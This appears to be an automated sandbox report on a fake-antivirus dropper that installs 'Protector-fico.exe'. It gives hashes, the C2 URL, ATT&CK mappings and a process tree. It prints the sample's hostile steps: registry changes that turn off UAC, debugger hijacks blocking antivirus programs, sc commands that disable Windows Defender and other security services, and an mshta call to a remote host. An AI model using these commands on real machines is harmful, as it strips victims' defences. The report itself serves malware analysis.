Analysis
-
max time kernel
150s -
max time network
154s -
platform
windows7_x64 -
resource
win7-20231215-en -
resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system -
submitted
29-12-2023 18:38
Static task
static1
Behavioral task
behavioral1
Sample
00b7eec8946cdf920a8153e8d3f4475e.exe
Resource
win7-20231215-en
Behavioral task
behavioral2
Sample
00b7eec8946cdf920a8153e8d3f4475e.exe
Resource
win10v2004-20231222-en
General
-
Target
00b7eec8946cdf920a8153e8d3f4475e.exe
-
Size
2.2MB
-
MD5
00b7eec8946cdf920a8153e8d3f4475e
-
SHA1
9fa1c2d379aa9d21e6dfcdb55097b1eacfcb7b5f
-
SHA256
fe3caabf26e5ae965ad944b70b5ab0026aee8b338317f4e573c72c609988d277
-
SHA512
d0c249a811947d2bc129c38934f076edc821fa80fa3f6904812d550a24390e6e5d87d2156ae0dc183575e7a632af945bb64736d49d1821b1e6620f50c3aa9b9f
-
SSDEEP
49152:AtKOxSdaKij7cpXoI99JXy2x4SqHyY7dzXh0AWDQwGqJu:AFSUKijkX59JXSys0frGqw
Malware Config
Extracted
http://galaint.coolsecupdate.info/?0=115&1=1&2=1&3=41&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=qmjgqsrkie&14=1
Signatures
-
Processes:
Protector-fico.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" Protector-fico.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" Protector-fico.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0" Protector-fico.exe -
Disables taskbar notifications via registry modification
-
Sets file execution options in registry 2 TTPs 64 IoCs
Processes:
Protector-fico.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Anti-Virus Professional.exe\Debugger = "svchost.exe" Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cleaner.exe Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\guardgui.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\system32.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDSurvey.exe\Debugger = "svchost.exe" Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bd_professional.exe Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\csc.exe Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\intdel.exe\Debugger = "svchost.exe" Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\scanpm.exe Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\antivirusxppro2009.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winupdate.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sysupd.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wfindv32.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sweep95.exe\Debugger = "svchost.exe" Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cfpconfg.exe Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mgavrtcl.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mrt.exe\Debugger = "svchost.exe" Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nwtool16.exe Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\qh.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgcsrvx.exe\Debugger = "svchost.exe" Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDMsnScan.exe Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\titanin.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\win32.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nvsvc32.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vnlan300.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avkpop.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avsched32.exe\Debugger = "svchost.exe" Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\efpeadm.exe Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gbpoll.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lockdown.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\undoboot.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vbcons.exe\Debugger = "svchost.exe" Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vfsetup.exe Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\luau.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\au.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dcomx.exe\Debugger = "svchost.exe" Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\escanhnt.exe Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\navlu32.exe Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\fnrb32.exe Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gbmenu.exe Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmgt.exe\Debugger = "svchost.exe" Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\homeav2010.exe Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lookout.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msccn32.exe\Debugger = "svchost.exe" Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\antivirus.exe Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ave32.exe Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgnt.exe\Debugger = "svchost.exe" Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avp32.exe Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\esafe.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PSUNMain.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bpc.exe\Debugger = "svchost.exe" Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dvp95_0.exe\Debugger = "svchost.exe" Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winstart.exe Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netd32.exe Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\padmin.exe\Debugger = "svchost.exe" Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avconsol.exe Protector-fico.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\navapsvc.exe\Debugger = "svchost.exe" Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tgbob.exe Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcproxy.exe Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cleanpc.exe Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\webdav.exe Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pf2.exe Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SecurityFighter.exe Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoler.exe Protector-fico.exe -
Stops running service(s) 3 TTPs
-
Executes dropped EXE 3 IoCs
Processes:
269ek73z398g4fh.exe3b5251xmf2ng2b8.exeProtector-fico.exepid process 2284 269ek73z398g4fh.exe 2088 3b5251xmf2ng2b8.exe 2168 Protector-fico.exe -
Loads dropped DLL 7 IoCs
Processes:
00b7eec8946cdf920a8153e8d3f4475e.exe269ek73z398g4fh.exe3b5251xmf2ng2b8.exeProtector-fico.exepid process 776 00b7eec8946cdf920a8153e8d3f4475e.exe 2284 269ek73z398g4fh.exe 2284 269ek73z398g4fh.exe 2088 3b5251xmf2ng2b8.exe 2088 3b5251xmf2ng2b8.exe 2168 Protector-fico.exe 2168 Protector-fico.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
Protector-fico.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Windows\CurrentVersion\Run\Inspector = "C:\\Users\\Admin\\AppData\\Roaming\\Protector-fico.exe" Protector-fico.exe -
Processes:
Protector-fico.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" Protector-fico.exe -
Drops file in System32 directory 3 IoCs
Processes:
Protector-fico.exedescription ioc process File opened for modification C:\Windows\SysWOW64\eventvwr.msc Protector-fico.exe File opened for modification C:\Windows\SysWOW64\diskmgmt.msc Protector-fico.exe File opened for modification C:\Windows\SysWOW64\services.msc Protector-fico.exe -
Launches sc.exe 8 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 1924 sc.exe 1588 sc.exe 1396 sc.exe 1496 sc.exe 1756 sc.exe 1092 sc.exe 1084 sc.exe 1940 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Processes:
mshta.exeProtector-fico.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3427588347-1492276948-3422228430-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312 Protector-fico.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312\iexplore.exe = "1" Protector-fico.exe -
Processes:
Protector-fico.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436 Protector-fico.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde Protector-fico.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
Protector-fico.exepid process 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
3b5251xmf2ng2b8.exeProtector-fico.exedescription pid process Token: SeDebugPrivilege 2088 3b5251xmf2ng2b8.exe Token: SeShutdownPrivilege 2088 3b5251xmf2ng2b8.exe Token: SeDebugPrivilege 2168 Protector-fico.exe Token: SeShutdownPrivilege 2168 Protector-fico.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
Processes:
Protector-fico.exepid process 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe -
Suspicious use of SendNotifyMessage 4 IoCs
Processes:
Protector-fico.exepid process 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe -
Suspicious use of SetWindowsHookEx 6 IoCs
Processes:
3b5251xmf2ng2b8.exeProtector-fico.exepid process 2088 3b5251xmf2ng2b8.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe 2168 Protector-fico.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
00b7eec8946cdf920a8153e8d3f4475e.exe269ek73z398g4fh.exe3b5251xmf2ng2b8.exeProtector-fico.exedescription pid process target process PID 776 wrote to memory of 2284 776 00b7eec8946cdf920a8153e8d3f4475e.exe 269ek73z398g4fh.exe PID 776 wrote to memory of 2284 776 00b7eec8946cdf920a8153e8d3f4475e.exe 269ek73z398g4fh.exe PID 776 wrote to memory of 2284 776 00b7eec8946cdf920a8153e8d3f4475e.exe 269ek73z398g4fh.exe PID 776 wrote to memory of 2284 776 00b7eec8946cdf920a8153e8d3f4475e.exe 269ek73z398g4fh.exe PID 776 wrote to memory of 2284 776 00b7eec8946cdf920a8153e8d3f4475e.exe 269ek73z398g4fh.exe PID 776 wrote to memory of 2284 776 00b7eec8946cdf920a8153e8d3f4475e.exe 269ek73z398g4fh.exe PID 776 wrote to memory of 2284 776 00b7eec8946cdf920a8153e8d3f4475e.exe 269ek73z398g4fh.exe PID 2284 wrote to memory of 2088 2284 269ek73z398g4fh.exe 3b5251xmf2ng2b8.exe PID 2284 wrote to memory of 2088 2284 269ek73z398g4fh.exe 3b5251xmf2ng2b8.exe PID 2284 wrote to memory of 2088 2284 269ek73z398g4fh.exe 3b5251xmf2ng2b8.exe PID 2284 wrote to memory of 2088 2284 269ek73z398g4fh.exe 3b5251xmf2ng2b8.exe PID 2284 wrote to memory of 2088 2284 269ek73z398g4fh.exe 3b5251xmf2ng2b8.exe PID 2284 wrote to memory of 2088 2284 269ek73z398g4fh.exe 3b5251xmf2ng2b8.exe PID 2284 wrote to memory of 2088 2284 269ek73z398g4fh.exe 3b5251xmf2ng2b8.exe PID 2088 wrote to memory of 2168 2088 3b5251xmf2ng2b8.exe Protector-fico.exe PID 2088 wrote to memory of 2168 2088 3b5251xmf2ng2b8.exe Protector-fico.exe PID 2088 wrote to memory of 2168 2088 3b5251xmf2ng2b8.exe Protector-fico.exe PID 2088 wrote to memory of 2168 2088 3b5251xmf2ng2b8.exe Protector-fico.exe PID 2088 wrote to memory of 2168 2088 3b5251xmf2ng2b8.exe Protector-fico.exe PID 2088 wrote to memory of 2168 2088 3b5251xmf2ng2b8.exe Protector-fico.exe PID 2088 wrote to memory of 2168 2088 3b5251xmf2ng2b8.exe Protector-fico.exe PID 2088 wrote to memory of 2804 2088 3b5251xmf2ng2b8.exe cmd.exe PID 2088 wrote to memory of 2804 2088 3b5251xmf2ng2b8.exe cmd.exe PID 2088 wrote to memory of 2804 2088 3b5251xmf2ng2b8.exe cmd.exe PID 2088 wrote to memory of 2804 2088 3b5251xmf2ng2b8.exe cmd.exe PID 2088 wrote to memory of 2804 2088 3b5251xmf2ng2b8.exe cmd.exe PID 2088 wrote to memory of 2804 2088 3b5251xmf2ng2b8.exe cmd.exe PID 2088 wrote to memory of 2804 2088 3b5251xmf2ng2b8.exe cmd.exe PID 2168 wrote to memory of 2588 2168 Protector-fico.exe mshta.exe PID 2168 wrote to memory of 2588 2168 Protector-fico.exe mshta.exe PID 2168 wrote to memory of 2588 2168 Protector-fico.exe mshta.exe PID 2168 wrote to memory of 2588 2168 Protector-fico.exe mshta.exe PID 2168 wrote to memory of 2588 2168 Protector-fico.exe mshta.exe PID 2168 wrote to memory of 2588 2168 Protector-fico.exe mshta.exe PID 2168 wrote to memory of 2588 2168 Protector-fico.exe mshta.exe PID 2168 wrote to memory of 1092 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1092 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1092 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1092 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1092 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1092 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1092 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1756 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1756 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1756 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1756 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1756 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1756 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1756 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1496 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1496 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1496 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1496 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1496 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1496 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1496 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1396 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1396 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1396 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1396 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1396 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1396 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1396 2168 Protector-fico.exe sc.exe PID 2168 wrote to memory of 1588 2168 Protector-fico.exe sc.exe -
System policy modification 1 TTPs 4 IoCs
Processes:
Protector-fico.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" Protector-fico.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0" Protector-fico.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0" Protector-fico.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System Protector-fico.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\00b7eec8946cdf920a8153e8d3f4475e.exe"C:\Users\Admin\AppData\Local\Temp\00b7eec8946cdf920a8153e8d3f4475e.exe"1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\269ek73z398g4fh.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\269ek73z398g4fh.exe" -e -pk22qa80s3so5mnb2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\3b5251xmf2ng2b8.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\3b5251xmf2ng2b8.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\Protector-fico.exeC:\Users\Admin\AppData\Roaming\Protector-fico.exe4⤵
- UAC bypass
- Sets file execution options in registry
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Checks whether UAC is enabled
- Drops file in System32 directory
- Modifies Internet Explorer settings
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SysWOW64\mshta.exemshta.exe "http://galaint.coolsecupdate.info/?0=115&1=1&2=1&3=41&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=qmjgqsrkie&14=1"5⤵
- Modifies Internet Explorer settings
-
C:\Windows\SysWOW64\sc.exesc config AntiVirSchedulerService start= disabled5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc config AntiVirService start= disabled5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc stop AntiVirService5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc config ekrn start= disabled5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc config msmpsvc start= disabled5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc stop msmpsvc5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\sc.exesc stop WinDefend5⤵
- Launches sc.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\3B5251~1.EXE" >> NUL4⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\269ek73z398g4fh.exeFilesize
2.1MB
MD552645efbc1f91d7f238da97b7de56d26
